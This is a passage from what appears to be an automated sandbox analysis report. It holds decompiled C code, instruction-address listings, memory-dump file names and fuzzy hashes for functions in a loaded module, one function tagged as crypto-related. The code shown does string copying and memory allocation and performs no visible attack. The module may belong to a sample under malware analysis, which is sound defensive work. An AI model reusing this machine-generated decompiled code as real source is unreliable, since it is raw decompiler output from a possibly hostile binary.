																						continue;
																					}
																					break;
																				}
																				_t403 = _v24;
																			}
																		}
																		_push(2);
																		_push(_t299);
																		_v52 = _t344;
																		_v32 = _t374;
																		E6EFF10B0();
																		_t374 = _v32;
																		_t344 = _v52;
																		_t446 = _t446 + 8;
																	}
																	_t299 = _t344;
																	L135:
																	_t231 = _t299;
																	__eflags = _t299;
																	if(_t299 == 0) {
																		L187:
																		_t403 = _t403 + 1;
																		__eflags = _t403 -  *_v28;
																		if(_t403 >=  *_v28) {
																			_t385 = _a4;
																			 *_t385 = 0;
																			 *((intOrPtr*)(_t385 + 4)) = 0;
																			goto L80;
																		} else {
																			__eflags = _a8 & 0x0000ffff;
																			if((_a8 & 0x0000ffff) != 0) {
																				goto L182;
																			} else {
																				continue;
																			}
																			goto L198;
																		}
																	} else {
																		_t334 =  *_t299 & 0x0000ffff;
																		goto L137;
																	}
																} else {
																	_t231 = _t299;
																	L137:
																	__eflags = _t334;
																	if(_t334 != 0) {
																		_v32 = _t374;
																		_t336 = 0;
																		__eflags = 0;
																		_v24 = _t403;
																		while(1) {
																			_t336 = _t336 + 1;
																			_t405 = _t299 + _t336 * 4;
																			_t231 = _t405 - 2;
																			__eflags =  *(_t405 - 2) & 0x0000ffff;
																			if(( *(_t405 - 2) & 0x0000ffff) == 0) {
																				break;
																			}
																			_t231 = _t405;
																			__eflags =  *_t405 & 0x0000ffff;
																			if(( *_t405 & 0x0000ffff) != 0) {
																				continue;
																			}
																			break;
																		}
																		_t374 = _v32;
																		_t403 = _v24;
																	}
																	_t335 = _t231;
																	__eflags = _t433;
																	if(__eflags != 0) {
																		if(__eflags > 0) {
																			goto L145;
																		}
																	} else {
																		_t433 = 0x7fffffff;
																		L145:
																		_v44 = 0;
																		_v24 = _t403;
																		_v40 = _t299;
																		_t404 = _v44;
																		while(1) {
																			_t303 =  *(_t374 + _t404 * 2) & 0x0000ffff;
																			 *(_t335 + _t404 * 2) = _t303;
																			__eflags = _t303;
																			if(_t303 == 0) {
																				break;
																			}
																			_t146 = _t404 * 2; // 0x2
																			_t231 = _t335 + _t146 + 2;
																			_t404 = _t404 + 1;
																			__eflags = _t404 - _t433;
																			if(_t404 < _t433) {
																				continue;
																			}
																			break;
																		}
																		_t403 = _v24;
																		_t299 = _v40;
																	}
																	_t374 = 0;
																	_t403 = _t403 + 1;
																	 *_t231 = 0;
																	__eflags = _t403 -  *_v28;
																	if(_t403 >=  *_v28) {
																		L178:
																		_t386 = _a4;
																		 *_t386 = 0;
																		 *((intOrPtr*)(_t386 + 4)) = 0;
																		L46:
																		_t211 =  *_t299 & 0x0000ffff;
																		__eflags = _t211;
																		if(_t211 == 0) {
																			L80:
																			_push(0x80);
																			_t420 = E6EFF1030();
																			_t446 = _t446 + 4;
																			_t205 =  *_a4;
																			__eflags = _t205;
																			if(_t205 == 0) {
																				__eflags = 0;
																				 *_t420 = 0;
																			} else {
																				__eflags = _t420;
																				if(_t420 != 0) {
																					_t354 =  *_t205 & 0x0000ffff;
																					 *_t420 = _t354;
																					__eflags = _t354;
																					if(_t354 != 0) {
																						_t355 = 0;
																						__eflags = 0;
																						while(1) {
																							_t355 = _t355 + 1;
																							_t319 =  *(_t205 + _t355 * 4 - 2) & 0x0000ffff;
																							 *(_t420 + _t355 * 4 - 2) = _t319;
																							__eflags = _t319;
																							if(_t319 == 0) {
																								goto L86;
																							}
																							_t320 =  *(_t205 + _t355 * 4) & 0x0000ffff;
																							 *(_t420 + _t355 * 4) = _t320;
																							__eflags = _t320;
																							if(_t320 != 0) {
																								continue;
																							}
																							goto L86;
																						}
																					}
																				}
																				L86:
																				_push(2);
																				_push(_t205);
																				E6EFF10B0();
																				_t446 = _t446 + 8;
																			}
																			_t207 = _a4;
																			 *_t207 = _t420;
																			_t207[1] = 0x40;
																		} else {
																			_t357 = _t299 & 0x0000000f;
																			__eflags = _t357;
																			if(_t357 == 0) {
																				L52:
																				asm("pxor xmm0, xmm0");
																				_t401 =  ~( ~_t357 + 0x00000007 & 0x00000007) + 0x7fffffff;
																				__eflags = _t401;
																				while(1) {
																					asm("movdqu xmm1, [ebx+edx*2]");
																					asm("pcmpeqw xmm1, xmm0");
																					asm("pmovmskb eax, xmm1");
																					__eflags = _t211;
																					if(_t211 != 0) {
																						break;
																					}
																					_t357 = _t357 + 8;
																					__eflags = _t357 - _t401;
																					if(_t357 < _t401) {
																						continue;
																					} else {
																						__eflags = _t401 - 0x7fffffff;
																						if(_t401 >= 0x7fffffff) {
																							goto L58;
																						} else {
																							goto L56;
																						}
																					}
																					goto L59;
																				}
																				asm("bsf edi, eax");
																				_t401 = (_t401 >> 1) + _t357;
																			} else {
																				_t401 = 0;
																				__eflags = _t357 & 0x00000001;
																				if((_t357 & 0x00000001) != 0) {
																					while(1) {
																						L56:
																						__eflags =  *(_t299 + _t401 * 2) & 0x0000ffff;
																						if(( *(_t299 + _t401 * 2) & 0x0000ffff) == 0) {
																							goto L59;
																						}
																						_t401 = _t401 + 1;
																						__eflags = _t401 - 0x7fffffff;
																						if(_t401 < 0x7fffffff) {
																							continue;
																						} else {
																							L58:
																							_t401 = 0x7fffffff;
																						}
																						goto L59;
																					}
																				} else {
																					_t357 =  ~_t357 + 0x10 >> 1;
																					__eflags = _t357;
																					while(1) {
																						_t211 =  *(_t299 + _t401 * 2) & 0x0000ffff;
																						__eflags = _t211;
																						if(_t211 == 0) {
																							goto L59;
																						}
																						_t401 = _t401 + 1;
																						__eflags = _t401 - _t357;
																						if(_t401 < _t357) {
																							continue;
																						} else {
																							goto L52;
																						}
																						goto L59;
																					}
																				}
																			}
																			L59:
																			_t54 = _t401 + 1; // 0x80000000
																			_t358 = _t54;
																			__eflags = _t358 - 0x40;
																			_t359 =  <=  ? 0x40 : _t358;
																			__eflags = _t359;
																			if(_t359 > 0) {
																				_t217 = (_t359 >> 5 >> 0x1a) + _t359 >> 6;
																				_t360 = _t359 & 0x8000003f;
																				__eflags = _t360;
																				if(_t360 < 0) {
																					_t360 = (_t360 - 0x00000001 | 0xffffffc0) + 1;
																					__eflags = _t360;
																				}
																				__eflags = _t360;
																				_t218 = _t217 + (0 | _t360 > 0x00000000);
																				_push(_t218 << 7);
																				_t423 = _t218 << 6;
																				_t220 = E6EFF1030();
																				_t446 = _t446 + 4;
																				_t321 =  *_a4;
																				__eflags = _t321;
																				if(_t321 == 0) {
																					__eflags = 0;
																					 *_t220 = 0;
																				} else {
																					__eflags = _t220;
																					if(_t220 != 0) {
																						_t368 =  *_t321 & 0x0000ffff;
																						 *_t220 = _t368;
																						__eflags = _t368;
																						if(_t368 != 0) {
																							_v40 = _t299;
																							_t369 = 0;
																							__eflags = 0;
																							while(1) {
																								_t369 = _t369 + 1;
																								_t301 =  *(_t321 + _t369 * 4 - 2) & 0x0000ffff;
																								 *(_t220 + _t369 * 4 - 2) = _t301;
																								__eflags = _t301;
																								if(_t301 == 0) {
																									break;
																								}
																								_t302 =  *(_t321 + _t369 * 4) & 0x0000ffff;
																								 *(_t220 + _t369 * 4) = _t302;
																								__eflags = _t302;
																								if(_t302 != 0) {
																									continue;
																								}
																								break;
																							}
																							_t299 = _v40;
																						}
																					}
																					_push(2);
																					_push(_t321);
																					_v52 = _t220;
																					E6EFF10B0();
																					_t220 = _v52;
																					_t446 = _t446 + 8;
																				}
																				_t365 = _a4;
																				_t365[1] = _t423;
																				 *_t365 = _t220;
																			} else {
																				_t220 = 0;
																			}
																			_t366 = _t299;
																			__eflags = _t220;
																			if(_t220 != 0) {
																				_t322 = 0;
																				while(1) {
																					_t424 =  *_t366 & 0x0000ffff;
																					_t322 = _t322 + 1;
																					 *_t220 = _t424;
																					__eflags = _t401;
																					if(_t401 == 0) {
																						goto L78;
																					}
																					__eflags = _t322 - _t401;
																					if(_t322 == _t401) {
																						 *(_t220 + 2) = 0;
																					} else {
																						goto L78;
																					}
																					goto L89;
																					L78:
																					__eflags = _t424;
																					if(_t424 != 0) {
																						_t220 = _t220 + 2;
																						_t366 = _t366 + 2;
																						__eflags = _t366;
																						continue;
																					}
																					goto L89;
																				}
																			}
																		}
																	} else {
																		__eflags = _a8 & 0x0000ffff;
																		if((_a8 & 0x0000ffff) == 0) {
																			continue;
																		} else {
																			goto L151;
																		}
																		goto L198;
																	}
																}
															}
														}
													}
												} else {
													L43:
													_t223 = _a8 & 0x0000ffff;
													_t419 = _v28;
													goto L44;
												}
												goto L89;
											}
											_t419 = _t224;
											_t223 = _a8 & 0x0000ffff;
											goto L44;
										}
										goto L41;
										L44:
										_t403 = _t403 + 1;
										__eflags = _t403 -  *_t419;
									} while (_t403 <  *_t419);
									goto L45;
								}
							}
						}
					}
					L89:
					_push(2);
					_push(_t299);
					E6EFF10B0();
					return _a4;
				} else {
					_t292 = _a4;
					_t314 = 0;
					_push(0x80);
					 *_t292 = 0;
					 *((intOrPtr*)(_t292 + 4)) = 0;
					_t442 = E6EFF1030();
					_t448 = _t446 + 4;
					_t295 =  *_a4;
					if(_t295 == 0) {
						 *_t442 = 0;
					} else {
						if(_t442 != 0) {
							_t391 =  *_t295 & 0x0000ffff;
							 *_t442 = _t391;
							if(_t391 != 0) {
								while(1) {
									_t314 = _t314 + 1;
									_t392 =  *(_t295 + _t314 * 4 - 2) & 0x0000ffff;
									 *(_t442 + _t314 * 4 - 2) = _t392;
									if(_t392 == 0) {
										goto L6;
									}
									_t393 =  *(_t295 + _t314 * 4) & 0x0000ffff;
									_t442[_t314] = _t393;
									if(_t393 != 0) {
										continue;
									}
									goto L6;
								}
							}
						}
						L6:
						_push(2);
						_push(_t295);
						E6EFF10B0();
						_t448 = _t448 + 8;
					}
					_t296 = _a4;
					_t296[1] = 0x40;
					 *_t296 = _t442;
					return _t296;
				}
				L198:
			}

0x6f0089f8
0x6f0089f9
0x6f0089fc
0x6f0089fe
0x6f008a02
0x6f008a7c
0x6f008a7e
0x6f008a80
0x6f008bb5
0x6f008bb5
0x6f008bbf
0x6f008bc1
0x6f008bc6
0x6f008bc9
0x6f008bcc
0x00000000
0x6f008bce
0x6f008bce
0x00000000
0x6f008bce
0x6f008a86
0x6f008a89
0x6f008a8b
0x00000000
0x6f008a91
0x6f008a93
0x6f008a93
0x6f008a96
0x6f008ab2
0x6f008ab6
0x6f008ac2
0x6f008ac2
0x6f008ac8
0x6f008ac8
0x6f008acd
0x6f008ad1
0x6f008ad5
0x6f008ad7
0x00000000
0x00000000
0x6f008add
0x6f008ae0
0x6f008ae2
0x00000000
0x6f008ae4
0x6f008ae4
0x6f008aea
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008aea
0x00000000
0x6f008ae2
0x6f0091f2
0x6f0091f7
0x6f008a98
0x6f008a98
0x6f008a9a
0x6f008a9c
0x6f008aec
0x6f008aec
0x6f008af0
0x6f008af2
0x00000000
0x00000000
0x6f008af4
0x6f008af5
0x6f008afb
0x00000000
0x6f008afd
0x6f008afd
0x6f008afd
0x6f008afd
0x00000000
0x6f008afb
0x6f008a9e
0x6f008aa3
0x6f008aa3
0x6f008aa5
0x6f008aa5
0x6f008aa9
0x6f008aab
0x00000000
0x00000000
0x6f008aad
0x6f008aae
0x6f008ab0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008ab0
0x6f008aa5
0x6f008a9c
0x6f008b02
0x6f008b07
0x6f008b07
0x6f008b0a
0x6f008b0d
0x6f008b10
0x6f008b12
0x6f008b30
0x6f008b33
0x6f008b33
0x6f008b38
0x6f008b40
0x6f008b40
0x6f008b40
0x6f008b41
0x6f008b4b
0x6f008b55
0x6f008b56
0x6f008b5a
0x6f008b5e
0x6f008b63
0x6f008b67
0x6f008b6b
0x6f008b6f
0x6f008b74
0x6f008b78
0x6f008b7c
0x6f008b81
0x6f008b85
0x6f008b88
0x6f008b8c
0x6f008b98
0x6f008b98
0x6f008b9b
0x6f008b9c
0x6f008b9f
0x6f008ba1
0x00000000
0x00000000
0x6f008ba3
0x6f008ba5
0x6f0091b6
0x6f0091ba
0x6f0091be
0x6f0091c2
0x6f0091c5
0x6f0091c9
0x00000000
0x00000000
0x00000000
0x6f0091cd
0x6f0091cd
0x6f0091d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008bab
0x6f008bab
0x6f008bad
0x6f0091e5
0x6f0091e9
0x6f0091ec
0x6f008bb3
0x6f008b92
0x6f008b95
0x6f008b95
0x00000000
0x6f008b95
0x00000000
0x6f008bad
0x6f008b14
0x6f008b14
0x6f008b16
0x6f008b19
0x6f008c29
0x6f008c29
0x6f008c2e
0x6f008c30
0x6f008c33
0x6f008c35
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008b1f
0x6f008b1f
0x6f008bd3
0x6f008bd3
0x6f008bd7
0x6f008bdc
0x6f008be0
0x6f008be4
0x6f008be4
0x6f008be6
0x6f008bf9
0x6f008be8
0x6f008be8
0x6f008bea
0x6f0091fe
0x6f009202
0x6f009202
0x6f008bf0
0x6f008bf0
0x6f00908a
0x6f00908c
0x6f00908c
0x6f00908f
0x6f0090af
0x6f0090b3
0x6f0090bf
0x6f0090bf
0x6f0090c5
0x6f0090c5
0x6f0090ca
0x6f0090ce
0x6f0090d2
0x6f0090d4
0x00000000
0x00000000
0x6f0090da
0x6f0090dd
0x6f0090df
0x00000000
0x6f0090e1
0x6f0090e1
0x6f0090e7
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0090e7
0x00000000
0x6f0090df
0x6f00926c
0x6f009271
0x00000000
0x6f009091
0x6f009091
0x6f009093
0x6f009095
0x6f0090e9
0x6f0090e9
0x6f0090ed
0x6f0090ef
0x00000000
0x00000000
0x6f0090f5
0x6f0090f6
0x6f0090fc
0x00000000
0x6f0090fe
0x6f0090fe
0x6f0090fe
0x6f0090fe
0x00000000
0x6f0090fc
0x00000000
0x6f009097
0x6f00909c
0x6f00909c
0x6f00909e
0x6f00909e
0x6f0090a2
0x6f0090a4
0x00000000
0x00000000
0x6f0090aa
0x6f0090ab
0x6f0090ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0090ad
0x6f009259
0x6f009259
0x6f00925c
0x6f009264
0x6f009264
0x6f00925c
0x6f009095
0x6f00908f
0x6f009103
0x6f009108
0x6f009108
0x6f00910b
0x6f00910e
0x6f009111
0x6f009115
0x6f009125
0x6f009128
0x6f009128
0x6f00912e
0x6f009136
0x6f009136
0x6f009136
0x6f009139
0x6f00913e
0x6f009148
0x6f00914c
0x6f009152
0x6f009154
0x6f009157
0x6f009159
0x6f00919b
0x6f00919d
0x6f00915b
0x6f00915b
0x6f00915d
0x6f00915f
0x6f009162
0x6f009165
0x6f009167
0x6f009169
0x6f009169
0x6f00916b
0x6f00916b
0x6f00916c
0x6f009171
0x6f009176
0x6f009178
0x00000000
0x00000000
0x6f00917a
0x6f00917e
0x6f009182
0x6f009184
0x00000000
0x00000000
0x00000000
0x6f009184
0x6f00916b
0x6f009167
0x6f009186
0x6f009186
0x6f009188
0x6f009189
0x6f00918d
0x6f009192
0x6f009196
0x6f009196
0x6f0091a0
0x6f0091a0
0x6f0091a8
0x6f0091ac
0x6f008bfd
0x6f008bfd
0x6f008bfd
0x6f008c04
0x6f008c07
0x6f008c09
0x6f008c0b
0x00000000
0x00000000
0x6f008c14
0x6f008c16
0x6f008e0d
0x6f008e0f
0x00000000
0x6f008e15
0x6f008e17
0x6f008e17
0x6f008e1a
0x6f008e36
0x6f008e3a
0x6f008e46
0x6f008e46
0x6f008e4c
0x6f008e4c
0x6f008e51
0x6f008e55
0x6f008e59
0x6f008e5b
0x00000000
0x00000000
0x6f008e61
0x6f008e64
0x6f008e66
0x00000000
0x6f008e68
0x6f008e68
0x6f008e6e
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008e6e
0x00000000
0x6f008e66
0x6f00928e
0x6f009293
0x6f008e1c
0x6f008e1c
0x6f008e1e
0x6f008e20
0x6f008e70
0x6f008e70
0x6f008e74
0x6f008e76
0x00000000
0x00000000
0x6f008e78
0x6f008e79
0x6f008e7f
0x00000000
0x6f008e81
0x6f008e81
0x6f008e81
0x6f008e81
0x00000000
0x6f008e7f
0x6f008e22
0x6f008e27
0x6f008e27
0x6f008e29
0x6f008e29
0x6f008e2d
0x6f008e2f
0x00000000
0x00000000
0x6f008e31
0x6f008e32
0x6f008e34
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008e34
0x6f008e29
0x6f008e20
0x6f008e86
0x6f008e86
0x6f008e88
0x6f009287
0x6f008e8e
0x6f008e90
0x6f008e90
0x6f008e93
0x6f008ebc
0x6f008ec0
0x6f008ecc
0x6f008ed0
0x6f008ed0
0x6f008ed5
0x6f008ed5
0x6f008eda
0x6f008ede
0x6f008ee2
0x6f008ee4
0x00000000
0x00000000
0x6f008eea
0x6f008eed
0x6f008eef
0x00000000
0x6f008ef1
0x6f008ef1
0x6f008ef5
0x6f008efa
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008efa
0x00000000
0x6f008eef
0x6f009277
0x6f00927a
0x6f00927c
0x6f009280
0x6f008e95
0x6f008e95
0x6f008e97
0x6f008e9a
0x6f008efc
0x6f008efc
0x6f008f00
0x6f008f02
0x00000000
0x00000000
0x6f008f04
0x6f008f05
0x6f008f0a
0x00000000
0x6f008f0c
0x6f008f0c
0x6f008f0c
0x6f008f0c
0x00000000
0x6f008f0a
0x6f008e9c
0x6f008ea1
0x6f008ea1
0x6f008ea3
0x6f008ea7
0x6f008eab
0x6f008ead
0x00000000
0x00000000
0x6f008eb3
0x6f008eb4
0x6f008eb6
0x00000000
0x6f008eb8
0x6f008eb8
0x00000000
0x6f008eb8
0x00000000
0x6f008eb6
0x6f009220
0x6f009220
0x6f008e9a
0x6f008e93
0x6f008f11
0x6f008f11
0x6f008f11
0x6f008f15
0x6f008f17
0x6f008f40
0x6f008f43
0x6f008f46
0x6f008f4a
0x00000000
0x00000000
0x00000000
0x6f008f19
0x6f008f19
0x6f008f1b
0x6f009229
0x6f00922e
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008f21
0x6f008f21
0x6f008f23
0x6f008f26
0x6f008f2b
0x6f008f34
0x6f008f34
0x6f008f50
0x6f008f5a
0x6f008f5d
0x6f008f5d
0x6f008f62
0x6f008f6a
0x6f008f6a
0x6f008f6a
0x6f008f6b
0x6f008f75
0x6f008f7f
0x6f008f83
0x6f008f84
0x6f008f88
0x6f008f8d
0x6f008f91
0x6f008f93
0x6f008f96
0x6f008f98
0x6f008fea
0x6f008fec
0x6f008f9a
0x6f008f9a
0x6f008f9c
0x6f008f9e
0x6f008fa1
0x6f008fa4
0x6f008fa6
0x6f008fa8
0x6f008fac
0x6f008fac
0x6f008fae
0x6f008fae
0x6f008faf
0x6f008fb4
0x6f008fb9
0x6f008fbb
0x00000000
0x00000000
0x6f008fbd
0x6f008fc1
0x6f008fc5
0x6f008fc7
0x00000000
0x00000000
0x00000000
0x6f008fc7
0x6f008fc9
0x6f008fc9
0x6f008fa6
0x6f008fcd
0x6f008fcf
0x6f008fd0
0x6f008fd4
0x6f008fd8
0x6f008fdd
0x6f008fe1
0x6f008fe5
0x6f008fe5
0x6f008fef
0x6f008ff1
0x6f008ff1
0x6f008ff3
0x6f008ff5
0x6f009234
0x6f009238
0x6f009239
0x6f00923b
0x6f00924a
0x6f00924f
0x6f009251
0x00000000
0x6f00923d
0x6f009241
0x6f009243
0x00000000
0x6f009245
0x00000000
0x6f009245
0x00000000
0x6f009243
0x6f008ffb
0x6f008ffb
0x00000000
0x6f008ffb
0x6f008f2d
0x6f008f2d
0x6f008ffe
0x6f008ffe
0x6f009000
0x6f009002
0x6f009006
0x6f009006
0x6f009008
0x6f00900c
0x6f00900c
0x6f00900d
0x6f009014
0x6f009017
0x6f009019
0x00000000
0x00000000
0x6f00901e
0x6f009020
0x6f009022
0x00000000
0x00000000
0x00000000
0x6f009022
0x6f009024
0x6f009028
0x6f009028
0x6f00902c
0x6f00902e
0x6f009030
0x6f009039
0x00000000
0x00000000
0x6f009032
0x6f009032
0x6f00903b
0x6f00903b
0x6f009043
0x6f009047
0x6f00904b
0x6f00904f
0x6f00904f
0x6f009053
0x6f009057
0x6f009059
0x00000000
0x00000000
0x6f00905b
0x6f00905b
0x6f00905f
0x6f009060
0x6f009062
0x00000000
0x00000000
0x00000000
0x6f009062
0x6f009064
0x6f009068
0x6f009068
0x6f00906c
0x6f00906e
0x6f00906f
0x6f009076
0x6f009078
0x6f0091d6
0x6f0091d6
0x6f0091db
0x6f0091dd
0x6f008c3b
0x6f008c3b
0x6f008c3e
0x6f008c40
0x6f008d95
0x6f008d95
0x6f008d9f
0x6f008da1
0x6f008da7
0x6f008da9
0x6f008dab
0x6f008de5
0x6f008de7
0x6f008dad
0x6f008dad
0x6f008daf
0x6f008db1
0x6f008db4
0x6f008db7
0x6f008db9
0x6f008dbb
0x6f008dbb
0x6f008dbd
0x6f008dbd
0x6f008dbe
0x6f008dc3
0x6f008dc8
0x6f008dca
0x00000000
0x00000000
0x6f008dcc
0x6f008dd0
0x6f008dd4
0x6f008dd6
0x00000000
0x00000000
0x00000000
0x6f008dd6
0x6f008dbd
0x6f008db9
0x6f008dd8
0x6f008dd8
0x6f008dda
0x6f008ddb
0x6f008de0
0x6f008de0
0x6f008dea
0x6f008ded
0x6f008def
0x6f008c46
0x6f008c48
0x6f008c48
0x6f008c4b
0x6f008c68
0x6f008c6c
0x6f008c78
0x6f008c78
0x6f008c7e
0x6f008c7e
0x6f008c83
0x6f008c87
0x6f008c8b
0x6f008c8d
0x00000000
0x00000000
0x6f008c93
0x6f008c96
0x6f008c98
0x00000000
0x6f008c9a
0x6f008c9a
0x6f008ca0
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008ca0
0x00000000
0x6f008c98
0x6f009214
0x6f009219
0x6f008c4d
0x6f008c4d
0x6f008c4f
0x6f008c52
0x6f008ca2
0x6f008ca2
0x6f008ca6
0x6f008ca8
0x00000000
0x00000000
0x6f008caa
0x6f008cab
0x6f008cb1
0x00000000
0x6f008cb3
0x6f008cb3
0x6f008cb3
0x6f008cb3
0x00000000
0x6f008cb1
0x6f008c54
0x6f008c59
0x6f008c59
0x6f008c5b
0x6f008c5b
0x6f008c5f
0x6f008c61
0x00000000
0x00000000
0x6f008c63
0x6f008c64
0x6f008c66
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008c66
0x6f008c5b
0x6f008c52
0x6f008cb8
0x6f008cbd
0x6f008cbd
0x6f008cc0
0x6f008cc3
0x6f008cc6
0x6f008cc8
0x6f008cdb
0x6f008cde
0x6f008cde
0x6f008ce4
0x6f008cec
0x6f008cec
0x6f008cec
0x6f008ced
0x6f008cf7
0x6f008cfe
0x6f008cff
0x6f008d02
0x6f008d07
0x6f008d0d
0x6f008d0f
0x6f008d11
0x6f008d5b
0x6f008d5d
0x6f008d13
0x6f008d13
0x6f008d15
0x6f008d17
0x6f008d1a
0x6f008d1d
0x6f008d1f
0x6f008d21
0x6f008d25
0x6f008d25
0x6f008d27
0x6f008d27
0x6f008d28
0x6f008d2d
0x6f008d32
0x6f008d34
0x00000000
0x00000000
0x6f008d36
0x6f008d3a
0x6f008d3e
0x6f008d40
0x00000000
0x00000000
0x00000000
0x6f008d40
0x6f008d42
0x6f008d42
0x6f008d1f
0x6f008d46
0x6f008d48
0x6f008d49
0x6f008d4d
0x6f008d52
0x6f008d56
0x6f008d56
0x6f008d60
0x6f008d63
0x6f008d66
0x6f008cca
0x6f008cca
0x6f008cca
0x6f008d68
0x6f008d6a
0x6f008d6c
0x6f008d72
0x6f008d7c
0x6f008d7c
0x6f008d7f
0x6f008d80
0x6f008d83
0x6f008d85
0x00000000
0x00000000
0x6f008d87
0x6f008d89
0x6f00920b
0x00000000
0x00000000
0x00000000
0x00000000
0x6f008d8f
0x6f008d8f
0x6f008d91
0x6f008d76
0x6f008d79
0x6f008d79
0x00000000
0x6f008d79
0x00000000
0x6f008d91
0x6f008d7c
0x6f008d6c
0x6f00907e
0x6f009082
0x6f009084
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f009084
0x6f009078
0x6f008f2b
0x6f008f1b
0x6f008f17
0x6f008c1c
0x6f008c1c
0x6f008c1c
0x6f008c20
0x00000000
0x6f008c20
0x00000000
0x6f008c16
0x6f00929a
0x6f00929c
0x00000000
0x6f00929c
0x00000000
0x6f008c24
0x6f008c24
0x6f008c25
0x6f008c25
0x00000000
0x6f008be4
0x6f008b19
0x6f008b12
0x6f008a8b
0x6f008df6
0x6f008df6
0x6f008df8
0x6f008df9
0x6f008e0a
0x6f008a04
0x6f008a04
0x6f008a07
0x6f008a09
0x6f008a0e
0x6f008a10
0x6f008a18
0x6f008a1a
0x6f008a20
0x6f008a24
0x6f008a5c
0x6f008a26
0x6f008a28
0x6f008a2a
0x6f008a2d
0x6f008a32
0x6f008a34
0x6f008a34
0x6f008a35
0x6f008a3a
0x6f008a41
0x00000000
0x00000000
0x6f008a43
0x6f008a47
0x6f008a4d
0x00000000
0x00000000
0x00000000
0x6f008a4d
0x6f008a34
0x6f008a32
0x6f008a4f
0x6f008a4f
0x6f008a51
0x6f008a52
0x6f008a57
0x6f008a57
0x6f008a5f
0x6f008a62
0x6f008a69
0x6f008a74
0x6f008a74
0x00000000

Strings

@, xrefs: 6F009229

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction ID: 839c170a647ff5531dc82bb462bbdb3b67743779c9a6d87dc60788ccbe5d0092
Opcode Fuzzy Hash: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction Fuzzy Hash: 6C4200B1A087128BF714AF39C89036A73E2BFD5350F15872EE8A5CB395EB35D8458781

Uniqueness

Uniqueness Score: -1.00%

Function 6EFFAE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EFFAE80(intOrPtr* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* __esi;
				signed short* _t229;
				unsigned int _t237;
				signed int _t238;
				signed short** _t243;
				signed short* _t244;
				signed short* _t248;
				signed int* _t250;
				signed int _t255;
				signed int _t259;
				signed int _t264;
				signed int _t268;
				signed int _t271;
				unsigned int _t277;
				signed int _t278;
				void* _t284;
				signed int _t287;
				signed int _t288;
				signed int _t291;
				signed short* _t298;
				signed int _t301;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed short* _t334;
				signed int _t336;
				signed int _t337;
				signed int _t339;
				signed int _t346;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t359;
				signed int _t360;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t374;
				signed int _t377;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				void* _t385;
				signed int _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t392;
				signed int _t393;
				signed int _t394;
				intOrPtr* _t396;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t403;
				signed int _t404;
				signed int _t405;
				void* _t406;
				signed int _t407;
				signed int _t408;
				signed short* _t411;
				signed int* _t412;
				signed int _t413;
				signed int _t417;
				intOrPtr* _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t448;
				signed int _t449;
				signed int _t452;
				signed int _t455;
				intOrPtr* _t458;
				signed int _t460;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				unsigned int _t465;
				unsigned int _t466;
				signed int _t467;
				unsigned int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t476;
				signed int _t477;
				signed int _t478;
				void* _t481;

				_v64 = 0;
				_t458 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t441 = E6EFF1030();
				_t481 = (_t478 & 0xfffffff0) - 0x34 + 4;
				_t229 = _v64;
				if(_t229 == 0) {
					__eflags = 0;
					 *_t441 = 0;
				} else {
					if(_t441 != 0) {
						_t384 =  *_t229 & 0x0000ffff;
						 *_t441 = _t384;
						if(_t384 != 0) {
							while(1) {
								_t384 = 1;
								_t382 = _t229[1] & 0x0000ffff;
								 *(_t441 + 2) = _t382;
								if(_t382 == 0) {
									goto L6;
								}
								_t383 = _t229[2] & 0x0000ffff;
								 *(_t441 + 4) = _t383;
								if(_t383 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(2);
					_push(_t229);
					E6EFF10B0();
					_t481 = _t481 + 8;
				}
				_v60 = 0x40;
				_v64 = _t441;
				if((_a8 & 0x0000ffff) != 0) {
					__eflags = _t441;
					if(_t441 == 0) {
						_t349 = 0x40;
						_t316 = 0;
					} else {
						_t309 = _t441 & 0x0000000f;
						__eflags = _t309;
